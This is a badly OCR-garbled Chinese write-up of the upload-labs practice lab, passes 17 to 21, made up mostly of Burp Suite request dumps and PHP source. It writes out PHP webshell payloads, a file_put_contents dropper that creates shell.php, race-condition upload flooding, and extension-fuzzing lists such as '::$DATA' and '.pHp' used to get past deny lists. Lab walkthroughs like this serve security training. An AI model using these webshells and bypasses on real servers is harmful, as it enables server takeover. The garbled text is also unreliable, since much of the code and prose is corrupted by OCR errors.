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function isImage($filename){
// BEFF fBphp_exifith
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;

}

$is_upload = false;

$msg = null;

if(isset($_POST[ 'submit'])){
$temp_file = $ FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);

if(!$res){
$msg = "ICHREN, BARRMK! M
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;

} else {
$msg = " LA "
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‘ [ Target TPosih'ons T Payloads T Options ]

| @ Payload Positions

Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.
Attack type: {Sniper |v]
POST /upload-labs/Pass—17/index.php HTTP/1.1 i Add §
Host: 192.168.101. 16
User—Agent: Wozilla/5.0 (Windows NT 10.0; Win64; =64; 1v:93.0) Gecko/20100101 Firefox/93.0 0‘7
Accept: text/html, application/zhtml+xzml, application/zml: q=0.9, inage/avif. image/webp, */*  q=0. 8 ear §

Accept-Language: zh-CN. zh:q=0. 8, zh-TW:q=0. 7, zh-HE:q=0. 5, en-US; g=0. 3, en; g=0. 2
Accept-Encoding: gzip, deflate Auto §
Content-Type: multipart/form—data: boumdar 3B6245793239472761783219597925

Content—-Length: 353398 Refresh
Origin: http://192.168.101. 16

Connection: clese

Referer: http://192.168.101. 16/upload-labs/Pass—17/1index. php
Upgrade-Insecure-Requests: 1

386245793239472761783219597925
Content-Disposition: form-data: name="upload_file”: filename="hai-write. jpg”
Content-Type: image/ jpeg
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i payloads i & & payload typei& Fnull payloads, payload options#genete)s 1 K & HIEHE FERIEL DR
WL, BWXBRET100, HLhid, BERFERN, BWEELA, 1000518

" Target I Positions TPaonads T Options ]

@ Payload Sets Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and
each payload type can be customized in different ways.

Payload set: [1 = Payload count- 100

Payload typel lNuII payloads = | Request count: 0

@ Payload Options [Null payloads]

This payload type generates payloads whose value is an empty string. With no payload markers configured, this can be used to repeatedly issue the base request unmodified.

@® Generate 100 payloads

(U Continue indefinitely
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@ Execute
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http://192.168.101.16/upload-labs/include.php?file=./upload/bai-write.jpg

e > C QO 8 192.168.101.16/upload-labs/include.php?file=./upload/bai-write.jpg B W -, ] @ @ =

| Dymmesss @ #FEs DsAm O sems Osenas tess

Warning: include(./upload/bai-write.jpg): failed to open stream: No such file or directory in C:\phpstudy_pro\WWW\upload-labs\include.php on line 8

Warning: include(): Failed opening './upload/bai-write.jpg’ for inclusion (include_path=";C:\php\pear’) in C:\phpstudy pro\WWW\upload-labs\include.php on line
8
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ARG #r:
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SR JE I A 28 R B A R B B s R B i 4 O — N BENLEL,  fRAFFEupload SCAF R T 5
% J& FA unlink() B8 M) B i i ST

LT W, #Emove_uploaded_file() & HURAF s B ST A unlink () ek 50 B s B SO 8] i E), R 2 Ak 7 &
AR A AT, SR BLAE Fwebshell.

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])){
/] BB EEFRERER, X4, KB, KD, IENCHERE
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

/] REBEEHRT R4
$fileext= substr(strrchr($filename,"."),1);

[THIESR R R E R, AL AT B BRAE

if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
/ /1R B AR I B R A BT B B

$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "EMXMHEALjpgE B "
@unlink($target_path);

}else{
/14T e e S
srand(time());
$newfilename = strval(rand()).".jpg";
[/ BRZRERERE R (ER P 2B R E R E D
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;

¥
} else {
$msg = " LAEHEE! "
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target path)){

/ /1R A R P A T BT I
$im = imagecreatefrompng($target _path);

if($im == false){
$msg = "EXHEARpngERBEA! "
@unlink($target_path);
}else{
/1 EFTE Fr e e S

srand(time());

$newfilename = strval(rand()).".png";

[/ BRZRERENE R (ER R LR R E R E D
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);



@unlink($target_path);
$is_upload = true;
}
} else {
$msg = " LARHIGH! "5

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
/ /R EAE R B AR BT R B R
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "EXHARgIFEARNME ! "
@unlink($target_path);
}else{
/14T e e Sk 4
srand(time());
$newfilename = strval(rand()).".gif";
[/ BRZRERENE R (RS BB R ERRETE D
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;

¥
} else {
$msg = " LA ¢
}
}else{

$msg = "RAFEERSN. jpg| .pngl| .gifHWB R XH! ;

Pass-18
RRBERRXMHEROLE, HHRAEXMHELZSH, BEXHRERESEH, BRZEASEEHOX00E M .
Send Cancel < |v > v

Request

Raw | Params | Headers | Hex

POST fupload-labs/Pass-18/index. php HITP/1.1

Host: 192.168.101.16

User—Agent: Mozilla/53.0 (Windows NT 10.0; Winfi4: =64; 1v: 93,00

2 — A webshenn 3R 55 5. Gecko/20100101 Firefox/93.0

Lecept

text/html, application/zhtml+xml, application/=zml; q=0. 9, image/avif, image/we
b, #/#; g=0.8
Accept-Language

EHEEEELEE®N A zh~CHN, zh; q=0. 8, sh-TW,; g=0. 7, sh-HE; g=0. 5, en-U3; q=0. 3, en; g=0. 2

Accept-Encoding: gzip. deflate
HHFEEE

Content-Type: multipart/form—data;

boundarsy 36199077229180961361314428838
Content-Length: 386

Origin: http://192. 168.101. 16

Comnection: close

Referer: http://192.1658.101. 16/upload-labs/Pass—18/index. php
Coockie: PHPSESSID=C0cfmpTnE0g54t3pul ThEr36hT
Upgrade-Insecure-Requests: 1

36199077229180961361314428838
Content-Disposition: form-data; name="upload file”; filename="sh.php”
Content-Type: application/octet-stream

<7php @assert (§_POST[pass18]) 7>
36199077220180061361314428838
Content-Disposition: form-data; name="submit”

i

361990772291809613613144'_’,6_‘9-3_8:.-. ,.-;”_I |'O’



M2, RAMIE LAK BERR, RAARXTEEF ITHERD.
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BBk ix move_uploaded file()e& EFunlink() ik, AR, ... BRIXKIERZ M TS

7 8 192.168.101.16/upload-labs/Pass-18/index.php?action=show_code B B v ! @
SRR © SRR Qe

if(i

if(move uploaded file
if(in_array($file_

ath = UPLOAD PATH . '/'. rand(18, ) .date("YmdHis")."."_$file ext;
load_file, )

unlink(

}elsé{
$msg = e

CSDN @1liT &R

BB ESPE FE—NE S Bwebshellfphpig Al MiphpCfF, REESEHEY XA, eSS
webshell & A 4T -

BAESBRWT:
1. & write.phptf:, WER

<?php file put_contents('shell.php', '<?php @assert($_POST[pass18]);?>"'); 2>

2. _EA&write.php, burplifl, send tointruder, #_E—%—#, positionsiZBH, FERBE(EMIEAN
#, payloadsi & # payload typei£##null payloads, payload options#genete/5TH K= HIEE FEKIE LD
R, FIX R E H=Z 10000
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[ Dashboard ITarget T Proxy Iint.'udar I Repeater T Sequencer T Decoder ]' Comparer I Extender I Project options I User options I CSRF Token Tracker

1% |2 ..

[Target IPosmons T Payloads I Options ]

@ Payload Positions

Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details.
Attack type: lSmper |']
POST /upload-labs/Pass—18/index. php?action=show_code HTTP/1.1 &

Add
Host: 192.168.101.18 P l—§J

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: =64; rv:93.0) Gecko/20100101 Firefox/93.0

Accept: text/html. application/zhtml4xnl, application/=ml;q=0.9, image/avif, image/wehp. #/#*: q=0. 8 Clear §
Accept-Language: zh-CN, zh:q=0.8, zh-TW:q=0. 7, zh-HK: q=0. 5, en-US: g=0. 3, en; g=0. 2 _
Accept—Encoding: gzip. deflate Auto §
Content-Type: multipart/form—data; boundary 61674327210005224572152820579

Content-Length: 432 Refresh
Origin: http://192. 168. 101. 16
Comnection: close

Referer: http://192.168.101. 16/upload-labs/Pass-18/index. php?action=show_code
Upgrade-Insecure—Requests: 1

1674327210005224572152820579
Content-Disposition: form—data; name="upload file”; filename="write.php”
Content-Type: application/octet-stream

<?php file_put_contents(’ shell.php’, <?php @assert (§_POSI[pass18]1) 73" ); 7>
1674327210005224572152820578
Content-Disposition: form—data; name="submit”

1674327210005224572152820579—

DN @iz

[ Dashboard ITarget I Proxy Tlnwdef T Repeater I Sequencer I Decoder I Comparer T Extender ]' Project options ]' User options T CSRF Token Tracker

1% |6 = |6 =

[Target I Positions IPayJoads T Options ]

@ Payload Sets Start attack

You can define one ar more payload sets. The number of payload sets depends an the attack type defined in the Positions tab. Various payload types are available for each payload set, and
each payload type can be customized in different ways.

Payload set: |1 |= Payload count: 10.000

Payload type: | Mull payloads |= Request count: 0

@ Payload Options [Null payloads]

This payload type generates payloads whose value is an empty string. With no payload markers configured, this can be used to repeatedly issue the base request unmodified.

@® Generate | 10000 payloads

() Continue indefinitely CSDN @2z &
-t e = =T

3. HREZ K7 Hurl:
http://192.168.101.16/upload-labs/upload/write.php
ERXRARXHEEIRE, B8V, 4K webshellts £ 7EuploadH & T .

X % # W H burpsuiteintrudert& B 7 i iX Ahurl, FAXRATEAERIB T BIEARE T, &FJURF L&A KM
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A, payloadsi% & #payload typeit#null payloads, payload optionsfgenete/GH I TR FIEEFEERIXL
DRI, FIX K& E /K =25000


http://192.168.101.16/upload-labs/upload/write.php

|1>< 5. |6«

[Target IPosjﬁms T Payloads I Options ]

@ Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.

Attack type: {Smper ,vJ

GET /upload-labs/upload/write.php HITP/1.1 Add §
Host: 192, 168.101. 18

User-Agent: Wozilla/5.0 (Windows NT 10.0: Winf4: x64: rv:93.0) Gecko/20100101 Firefox/93.0 L
Accept text/html, application/zhtml+xml, application/=ml;q=0. 9, image/avif. image/wehp, */# q=0. 8 Clear §
Accept-Language: zh—CN, zh,g=0. 8, zh—1W, g=0. 7, zh-HE ; g=0. 5, en-US ; g=0. 3, en; g=0. 2 _
Accept—-Encoding: gzip, deflate Auto §
Comnection: close

Referer: http://192.168. 101. 16/upload-labs/Pass—18/index. php Refresh

Upgrade—Insecure-Requests: 1

I

CEDN @5

[1:]5<]6+].]

[Targel I Positions IPayJoads T Options ]

@ Payload Sets Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and
each payload type can be customized in different ways.

Payload set: | 1 v Payload count: 5,000

Payload type: | Null payloads ,v. Request count: 0

@ Payload Options [Null payloads]

This payload type generates payloads whose value is an empty string. With no payload markers configured, this can be used to repeatedly issue the base request unmodified.

@® Generate 5000 payloads

() Continue indefinitel - _ Lt
Y CSDN @lZ s

4. WAERikstart attack T a6 K%, BJEH KA Swebshellgh FEE Vi Wurl B B8 ANintruderft 45 58 . 45 2%
statusHENF, WHRA200, HiikEH Swebshell%Ih T .

B Intruder attack 7 - O

Attack Save Columns

J Results T Target I Positions T Payloads I Options ]

Filter: Showing all items

Request | Payload | Status & | Eror | Timeout|Length | Comment
3720 null 200 ] ] 242
4389 null 200 O] ] 242
4387 null 200 Ol O 242
4751 null 200 O] ] 242
4750 null 200 Ol O 242
4868 null 200 O] ] 242
4869 null 200 Ol O 242
405 null 403 O] ] 265
764 null 403 Ol O 265
804 null 403 O] ] 265

Reguest | Response 1

JRawI Headers | Hex |

HTTP/1.1 200 OK

Date: Tue, 19 Oct 2021 14:28:23 GNT

Server: Apache/2.4.39 (Winf4) OpenSSL/1.1.1b mod fegid/2. 3. 9a mod_log_rotate/1.02
{-Powered-By: PHP/5.6.9

Content-Length: 0

Comnection: close

Content-Type: text/html; charset=UTF-28

CSDN @1l

s s

-
-

A
\

\
o

5. W& —EMELT




— A v

[™ #g#dE (http://192.168.101.16/upload-labs/shell.php) -O% i © & AES I

BEr xFTE O iGEE ) B 432 (10}
B ERiEmE vl
URLHrhE * http://192.168.101.16/upload-labs/upload/shell.php |
EEER " passis
PlEEE |
WERE UTF8 v
3 il PHP = |
S
O default (R |
) random (F387)
(=) basstd .
2 iFRiEE ”~
of HibRa ”

o
CSDN @fliZ5:

Pass-19
EXRWIBRBHTRILET, BREEEREE

$is_upload = false;

$msg = null;
if (isset($_POST['submit']))
{

require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']["'tmp_name'], $_FILES['upload_f
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = 'XHELH LE, BEREEGL.
break;
case -1:
$msg = 'XANCHAR EAEZIRS BN SCEFEER.
break;
case -2:
$msg = ' LAERM, EEEFAWNE. ';
break;
case -3:
$msg = ' BAERWK, LIk EEEERCH.
break;
case -4:
$msg = ' BAERK, BT K.
break;

case -5:
tmca — ' FAEERN BRARAZEAMER AL 0.



PUSE = LK NART AR I TR LSS LA I AL A L] oy
break;

case -6:
$msg = 'CHTEE LA, HEARRERIZIERER. '
break;

default:
$msg = "REER! '
break;

//myupload.php

class

* %k
* %

* %k

**/

MyUpload{

$cls_arr_ext_accepted = array(
T , "Ltxt", ".pdf", ".gif", ".jpg", ".zip",
" html", ".xml", ".tiff", ".jpeg", ".png" );

".doc", ".xls

upload()

Method to upload the file.

This is the only method to call outside the class.
@para String name of directory we upload to
@returns void

function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret 1= 1 ){

return $this->resultUpload( $ret );

$ret = $this->setDir( $dir );
if( $ret 1= 1 ){

return $this->resultUpload( $ret );

$ret = $this->checkExtension();
if( $ret 1= 1 ){

return $this->resultUpload( $ret );

$ret = $this->checkSize();
if( $ret 1= 1 ){

return $this->resultUpload( $ret );

// if flag to check if the file exists is set to 1

if( $this->cls_file exists == 1 ){

$ret = $this->checkFileExists();
if( $ret =1 ){
return $this->resultUpload( $ret );

.rar", ".7z",".ppt

"
3



}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret =1 ){

return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret =1 ){
return $this->resultUpload( $ret );

}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

Rak.. BRE-E-HN, AEEESXCLREESHERERAT, EREEFERNERBEES. ...

HERIEM R n H AT BABERE AR ZENORERN, ERKXMEE, AKFEHT —MyUploadiisk
RO LALERAE, FHARIE 2K upload () s i iR 18] 5 FoR iR 2 IR B N R B . —JF4h, RIEMyUpload3k
Hupload() s £+ AR AERE, BRE BIXHR % LN —NInr AR, B#HTSAK, DOSKHRCT U %
T3S T . ERE T BAN, KRARXRKKEERRERFIRN S, FrilZRANERE, FEHERRKR
W Wi SCHERA A AR, WA T RAESE

XREZALBANEEMBER LB ZH], TREEREHNEEMETRIFE, tinapachelIf#EticiE (apache
httpd @R [E ] /~Efw 51CTOH %) BKphpstudy8iRftiapachefinginxix A #F EL B/, B IETE R
WS ENTIRIE T ... X SRR XA

Pass-20

RRNRAREERT ...

BT fase LA, EEBERERSCES, bBAETshphp, fRERMEAsh.php, TWHRR: ZEIEREAZE
RICA


https://blog.51cto.com/u_14259144/2420897

[ Intercept l HTTP history lWehSockels history l Options }

mF L (m]o] d ol | o A 5 ‘ Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length |MIMEt.. |
454 hitps://newtab firefoxchina._. GET /newtab/ds/china-basic_json 304 367 JSON
455 hitps:/fapi2 firefoxchinacn  GET fnewtab/hot_news json 200 63542  JSON
457 hitp:/1192.168.101.16 GET {upload-labs/Pass-15/index._php 200 4600 HTML
458 hitp://192.168.101.16 GET {upload-labs/Pass-16/index_php 200 4600 HTML
459 http://192.168.101.16 GET {upload-labs/Pass-16/helper.php.... v 200 302 HTML
460  https://contile senices. mo.. GET Mitiles 200 232 JSON
http://192.168.101.16 GET {upload-labs/Pass-20/index_php 200 4315 HTML
BEEELIENEA: 462 hitp:/1192.168.101.16 POST  /upload-labs/Pass-20/index_php v 200 4357 HTML
463 hitps://push_serices mozi__. GET ! 101 129

Sl L
h.php s
BES R Request | Response

Raw | Params | Headers | Hex

FOST /upload-labs/Pass—20/index. php HTTE/L. 1

Host: 192.168.101.16

User—Agent: Mozilla/5.0 (Windews NI 10.0: Winf4: =64. rv:93.0) Gecke/20100101 Firefox/93.0
Accept: text/htnl,application/zhtmnl+xzml, application/znl:q=0. 9, image/avif, inage/webp, ¥/ + q=0. §
Accept-Language: zh-CH, zh:q=0. 8, zh-TW; q=0. 7, zh-HK ; q=0. 5, en-US : g=0. 3, en g=0. 2

Accept—Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary 6902050228232515602578134128
Content-Length: 506

Origin: http://192.168.101.16

Connection: close

Referer: http://192.168.101, 16/upload-labs/Pass-20/1index, php

Upgrade-Insecure-Requests: 1

36902850228232515602578134128
Content-Disposition: form-data: name="upload_file”; filename="sh.php”
Content-Type: application/octet—stream

Iphp @assert (§_POST[pass20]) ;7
36002050228232515602576134128
Content-Disposition form-data: name="save_name’

sh. php

36902950228232515602578134128
Content-Dispesition: form-data: name="submit”

E1%

36902950228232515602578134128— T

send to repeater, save namefIfE BB Ash.ox, KRILA LA EAERIL, RN TEsh.xxx
Send Cancel < | >\ Target: http://192.168.101.16 f(

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]

POST /upload-labs/Pass-20/index. php HITP/1.1 A <fdive

Host: 192.168.101.16 r

User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x=864: rv:93.0) Gecko/20100101 <div id="upload_panel”>

Firefox/93.0 <olx

'Accept: <11

1text/html, application/xhtml+xnl, application/=znl; q=0. 9, inage/avif, inage/webp, #/#; ¢=0 <h3-4E % </ h3>

.8 pr b fE—4<code webshell</code > R % 8. </p>

JAccept-Language: zh-CN, zh;g=0. 8, zh-TW:g=0. 7, zh-HE: g=0. 5, en-US; g=0. 3, en:g=0. 2 <fliz

‘Accept—Encoding gzip, deflate <11

Content-Type: multipart/form—data; <h3r B/ iy

Iboundary 3B6902950228232515602578134128 “form enctype ultipart/forn-data” method="post”>

iContent-Length: 506 <p iR EE TR MR

i0rigin: http://192.168.101.16 <input elass="input_file” type="file” name="upload file"/>

Comnection: close AR R <

Referer: http://192.168. 101. 16/upload-labs/Pass—20/index. php <input class="1input_text” type="text” name="save_name”

Upgrade-Insecure-Requests: 1 value="upload-19. jpg” /><bx/>

<input class="button” type="submit” name="submit” wvalue="1

36902950228232515602578134128 </form>

Content-Disposition: form—data: name="upload_file”: filename="sh.php” “div id="msg" >

Content—Type: application/octet—stream <fdive

Cdiy id="ins"

<7php @assert (§_POST[pass20]) ;7> <ing src="../upload/sh.xzzx" width="250px" /> I <fdivy
369029502282325156025768134128 11y

Content-Disposition: form-data; name="save_name” <fol>

_I ofdivy
369029502282325156025768134128 <fdivy

Content-Disposition: form—data; name="submit” <div id="footer”>

<center Copyrighténbsp ; @mnbsp; <span
b id="copyright_time"></span &nbsp :byknbsp:<{a href="http: //gvT.ma] ’:“'l +r

36902950228232615602578134128— target="_bank" >cOnyl</a></center> =LA U

send to intruderi®&n%, %8 T E& BB S



@ Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.

Attack type: l Sniper | ']

POST fupload-labs/Pass-20/index.php HITR/1.1 Add §

Host: 192.168.101.16

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4, x64; rv:93.0) Gecko/20100101 Firefox/93.0 T —
Accept: text/htul.application/zhtml+xml, application/znl;q=0.9, inage/avif. image/webp. #/#;g=0. 8 Clear §
Accept-Language: zh-CHN, zh:q=0. 8, zh-TW;g=0. 7, zh—HE: g=0. 5, en-US:;g=0. 3, en: g=0. 2 ——————————
Accept-Encoding: gzip, deflate Auto §
Content—Type: multipart/form—data; houmdars 36902950228232515602578134128
Content-Length: 508 Refresh
Origin: http://192.168.101. 16

Comnection: close

Referer: http://192.168. 101. 16/upload-labs/Pass—20/index. php
Upgrade—Insecure—Requests: 1

LIS

36902950228232515602578134128
Content-Disposition: form—data; name="uplead file”; filename="sh.php”
Content—-Type: application/octet—stream

<7php @assert (§_POST[pass20]) ;7>
369029502282325156025768134128
Content-Disposition: form-data: name="save_name”

sh§.xzxx§

36002950228232515602578134128
Content-Disposition: form-data; name="submit”

36902950228232515602578134128—

[l
gl

EDN @{lZr

% T E ¥ BEpayload. Fpayloadi@EiE SR, THETLANM EIR, BERHES M5 R npayload.

[Targel I Positions IPayJoads T Options ]

[ a4
@ Payload Sets Start attack L

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set: |1 = Payload count: 65

Payload type: | Simple list = Request count: 65

@ Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.

Paste -php 5
| php5
Load ... _phpd

php3 »

|_Remove | -phpZ
Clear -htm

_htm ¥
Add Enter a new item
lAdd from list ... =
CSDN @flZr5

@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

[ ] URL-encode these characters:

CSDN @l Z &

start attackz J5, Hi../upload™] PLid gt EA& T fpayload, KIIXEIBLEHKE T UL LML, s s REFEE
PRFRESE, REMEHKESGEDE, KEMASDE, RKEM: SDATAZ.



Attack Save Columns

JRequts ITarget T Positions I Payloads T Options }

Filter: Matching expression __{upload

Request 4 | Payload | Status | Emor | Timeout | Length | Comment

0 200 O O 4359 [a]

10 -pHp 200 O O 4359 N

ik .Php 200 | O 4359

12 pHp5 200 O O 4360

13 .pHp4 200 | O 4360

14 pHp3 200 O O 4360

15 .pHp2 200 | O 4360

16 _pphphp 200 O O 4362

17 .phpphp 200 | O 4362

18 _phphpp 200 O O 4362 W,

20 -.php. 200 | O 4360

21 .php.. 200 O O 4361

22 php. - 200 ] ] 4362

23 .php 200 | O 4361

24 -php 200 O O 4360

25 _php.awx 200 J [] 4363

27 php::3DATA 200 O O 4366

29 Html 200 | O 4360

30 Htm 200 O O 4359 o
- L1 L — ’_|. i - X
Request | Response ]

JRaw T Headers T Hex T HTML I Render ]

ITTE/1.1 200 OK [a

Jate: Tue, 12 Oct 2021 14:01:.45 GHNT

Server: Apache/Z.4.39 (Win64) OpenSSL/1.1.1b mod_fegid/2.3.9a mod_log_rotate/1.02

{-Powered-Bv: PHP/5.6.9

Commection: close

Zontent-Type: text/html;charset=utf-§

Content-Length: 4118

html>

‘head> L

<meta http—equiv="Content-Tvpe” content="text/htnl;charset=utf-8"/> v
@ T T T Type a search term nes
=




mfS T | [N N

OFm  xEE Mt =L e €
B ERERE i

3

URLHHE = |hl:uJ:H192.163.101.1ﬁfupluad-labsfuphadfsh.php

HERE® © pass20

RibEE
WEEE  UTFs
EmAm e

S
() default (F#5=)
) random (-F35F)

() baset4

ESPON @il Z

(R E
ARIRU B REEsave_nameS HERFKIREXHBIEHR, 5XIHF4EHRBR4 HSdeny_extxttt.



$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {

$deny_eX‘t = ar‘r‘ay("php , php5","php4","php3","phpZ","html","htm","phtml","pht","jsp","jSpa","jSpX",

/*
$file_name

trim($_POST[ 'save_name']);
deldot($file_name);//MIBR L KEK &

$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

$file_ext = strtolower($file_ext); //EHE#HA/NE

$file_ext = str_ireplace('::$DATA', '', $file_ext);//EBRFFH  :$DATA
$file_ext = trim($file_ext); //HREZ

w5

$file_name

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!'in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = ' BARHEE!

¥
}else{
$msg = 'BIRFENIRBBH!
}
} else {
$msg = UPLOAD_PATH . 'SUERAFIE, BEFTAIE! ';
¥
}
Pass-21

XRweb WM E—RENE, #E LA ELR



mF L oo d_ |E A 5 { Intercept I HTTP histary I WebSockets history T Options ]

| Filter: Hiding CSS, image and general binary content

# 4 Host | Method | URL |Params | Edited | Status | Length | MIME t.. | Extension | Ti

http://192.168.101.16 GET Jupload-labs/ 200 4780 HTML

http://192.168.101.16 GET /upload-labs/Pass-21/index.php 200 4315 HTML php
http://192.168.101.16 POST  /upload-labs/Pass-21/index.php v 200 4352 HTML php
https:/fofflintab.firefoxchin...  GET /data’/master-i/defaultdials-0.json 304 365 JSON json

1S

Request | Response

Raw ParamsTHeaders Hex

POST /upload-labs/Pass—21/index. php HITP/1. 1

Host: 192.168.101.16

User—Agent: Mozilla/5.0 (Vindows NT 10.0: Win64; x64; rv 93.0) Gecko/20100101 Firefox/93.0
Accept: text/htul, application/zhtul+sul, application/zul;q=0. 9, inage/avif, inage/webp, */*, q=0. §
Accept-Language: zh-CN, zh; q=0. 8, zh-TW: q=0. 7, zh-HK  q=0. 5, en-US g=0. 3, en: q=0. 2

Accept-Encoding: gzip. deflate

Content-Type: multipart/forn-data; boundary=--—--————-—--——————-=m==—— 227005588236 463943953468121112
Content-Length: 510

Origin: http://192.168.101. 16

Comection: close

Referer: http://192.168. 101. 16/upload-labs/Pass-21/index. php

Upgrade-Insecure-Requests: 1

227005588236463943953468121112
Content-Disposition: form-data: name="upload file": filename="sh.php”
Content-Type: application/octet-strean

2php @assert ($_POST pass211):?
227005598236463043953468121112
Content-Disposition: form-data; name="save_name

sh. php

227005588236463943953468121112
Content-Dispesition: forn-data; name="submit”

a3

227005588236463943953468121112—- CsD

B Rsh.php EAERTH. BRI K% Brepeater, filenameflisave namefI{E AR ish.oox, KRILE R EAE%R

W, BB B EEZRBH!”, WHAARRARXMHBERBLH, REZDLARARMAERBHS

H

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render }
POST /upload-labs/Pass-21/index. php HITP/1.1 " <har %</ h3>
Host: 192.168.101.16 i <pr bHi—4~<code webshell</code>FIH 5. </p>
User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64: =64: 1v:93.0) f1ir
Gecko/20100101 Firefox/93.0 <11
Accept <h3r BB /h3r
text/html, application/zhtnl+znl, application/zml; q=0. 9, inage/avif, inage/we <form enctype="multipart/forn-data” method="post”>
bp, *#/*;q=0. 8 <priFfik AR e <
Accept-Language: <input class="input_file” type="file” name="upload_file"/>
zh—CN, zh;q=0. 8, zh-TW; g=0. 7. zsh-HK ; g=0. 5, en-US; g=0. 3, en; g=0. 2 <prfREAE:
Accept-Encoding: gzip, deflate <input class="input_text” type="text” name="save_name”
Content-Type: multipart/form—data; value="upload-20. jpg” /><br/>
houndary 227005588236463943953468121112 <input class="button” type="submnit” name="submit” walue="
Content-Length: 510 <f/form>
Origin: http://192.168.101.16 <div 1d="m=g">
Comnection: close i ek Bk </ divy
Referer: http://192.168.101.16/upload-labs/Pass-21/index. php <div id="img">
Upgrade-Insecure—Requests: 1 <fdive
<f1ix
227005588236463943053468121112 “folr
Content-Disposition: form—data; name="upload_file”; filename="sh.=xxx" <fdive
Content-Type: application/octet—stream
<fdive
php @assert ($_POST[pass21]) .7 <div id="footer”>
227005585823646309430953468121112 <center>Copyrighténbsp ;@nbsp ; <span
Content-Disposition: form-data; name="save_name” 1d="copyright_time"></span’&nbsp:byknbsp; <a href="http: //gvi. me"
target="_hank” >cOnyl</a></center>
sh. zxx < divy
227005588236463043053468121112 <div class="mask"”></div>
Content-Disposition: form-data; name="submit” <div class="dialog">
<div elass="dialog-title” >H#inbsp:R<a href="javaseript: void(0)”
E class="close” title= T A divy . p "
227005588236463943053468121112—— <div class="dialog-content” ></div> CSDN "!J'[ 13

ZJa X =33t filenameflsave_namelI{E# s lish.png, KIIRR—HIILER, WHAEHINSHFER
X

T Content-Typerftkimage/png, save_namedfsish.ox, KBRS EAERM, {HRIREKE BT 7

A BRIk EARZRE S, WHIRKEMIMER U Z E R A4 RS ® I, SFERECLSE TMIMES
TE, FRAR R B ) RRE R ST A AL BT R



Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender]

POST /upload-labs/Pass-21/index. php HTTP/1.1

Host: 192.168.101.16

User—4gent: Mozilla/5.0 (Windows NT 10.0: Winf4: =64 rv:93.0)
Geclko /20100101 Firefox/93.0

Accept:
text/htunl, application/zhtnl+xnl, application/znl;g=0. 9, image/avif. inage/we
bp, #/#; q=0. 8

Accept-Language:

zh—CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; g=0. 3, en; g=0. 2
Accept-Encoding: gzip., deflate

Content-Type: multipart/forn—data;

boundar
Content-Length: 495

Origin: http://192.168.101. 16

Comnection: close

Referer: http://192. 168,101, 16/upload-1abs/Pass-21/index. php
Upgrade-Insecure-Requests: 1

227005588236463043053468121112

227005588236463043053468121112
Content-Disposition: form—data; name="upload file”; filename="sh.png”

Content-Typs

<7php @assert (§_POSI[pass21]):7>
227005588236463943053468121112
Content-Disposition: form—data: name="save_name”

227005588236463943953468121112

